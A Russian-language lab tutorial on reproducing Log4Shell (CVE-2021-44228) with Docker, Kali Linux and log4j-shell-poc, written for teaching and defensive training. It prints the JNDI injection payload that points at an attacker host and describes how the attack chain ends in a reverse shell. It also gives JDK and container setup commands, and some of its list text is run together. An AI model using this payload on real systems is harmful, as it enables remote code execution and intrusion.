使用 Docker、Kali Linux、Burp Suite 和 log4j-shell-poc 利用和理解 Log4Shell (CVE-2021-44228) 的实践实验室。仅用于受控实验室环境中的教学和防御性培训。
Log4Shell (CVE-2021-44228) — одна из самых значительных уязвимостей удалённого выполнения кода из когда-либо раскрытых. Она затрагивает Apache Log4j 2, широко используемый фреймворк для логирования на Java, и позволяет злоумышленникам выполнять произвольный код, злоупотребляя JNDI-запросами в сообщениях логов.
Это руководство предоставляет полную воспроизводимую демонстрационную лабораторию с использованием:
log4j-shell-pocОно предназначено только для обучения, исследований, тренировок и повышения осведомлённости в области защиты в контролируемых средах. Структура и стиль следуют тому же духу, что и README сопутствующей лаборатории «Shellshock».
poc.py для использования JDK 1.8.0_202curlЭта лаборатория должна выполняться только в контролируемой среде, где у вас есть явное разрешение (ваша собственная лаборатория, виртуальные машины в классе и т.д.).
Log4Shell (CVE-2021-44228) — это критическая уязвимость удалённого выполнения кода в Apache Log4j 2.
Проблема возникает, потому что уязвимые версии Log4j2 интерпретируют управляемые атакующим строки, такие как:
${jndi:ldap://ATTACKER_IP:1389/a}
Когда эта строка логируется, Log4j:
В этой лаборатории вы:
log4j-shell-poc.curl и через Burp Suite.К концу этой лаборатории вы сможете:
Все компоненты работают поверх вашей существующей виртуальной лаборатории. В данной статье мы предполагаем:
| Компонент | Роль / Описание | Инструменты / Службы | Пример адресации |
|---|---|---|---|
| Виртуальная машина Kali Linux (атакующий + хост) | Запускает PoC эксплойта, LDAP-сервер, HTTP-сервер, слушатель Netcat, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (пример IP Kali) |
| Уязвимое веб-приложение Log4j2 | Цель; веб-приложение Spring Boot, уязвимое к Log4Shell | Docker-образ: ghcr.io/christophetd/log4shell-vulnerable-app | Доступно по адресу http://127.0.0.1:8080 |
Ключевая идея
Атакующий внедряет:
${jndi:ldap://192.168.1.4:1389/a}
в HTTP-заголовок. Уязвимое приложение логирует его с помощью Log4j2 → выполняет JNDI LDAP-запрос к 192.168.1.4:1389 → загружает вредоносный класс с http://192.168.1.4:8000 → выполняет класс, который открывает обратную оболочку обратно на 192.168.1.4:9001.
На Kali вам нужно:
nc).В этом руководстве мы предполагаем, что IP Kali:
192.168.1.4
Если ваш IP отличается, скорректируйте все команды соответственно.
PoC полагается на Java SE 8 Update 202 (JDK 1.8.0_202), поскольку более поздние версии Java ограничивают поведение удалённой загрузки классов, используемое этим эксплойтом.
Даже если в Kali уже установлен OpenJDK 21 (или аналогичный), вам всё равно нужно установить 8u202 отдельно.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Корень зеркала:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Загрузите tarball для Linux x64 (≈185 МБ):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # должно быть ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
Опция --strip-components=1 удаляет корневой каталог из архива, так что файлы попадают непосредственно в /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Ожидаемый результат:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Если вы видите это, JDK 1.8.0_202 установлен правильно.
В новом терминале на Kali (вы можете оставаться в ~/Log4Shell):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
Вы должны увидеть логи, похожие на: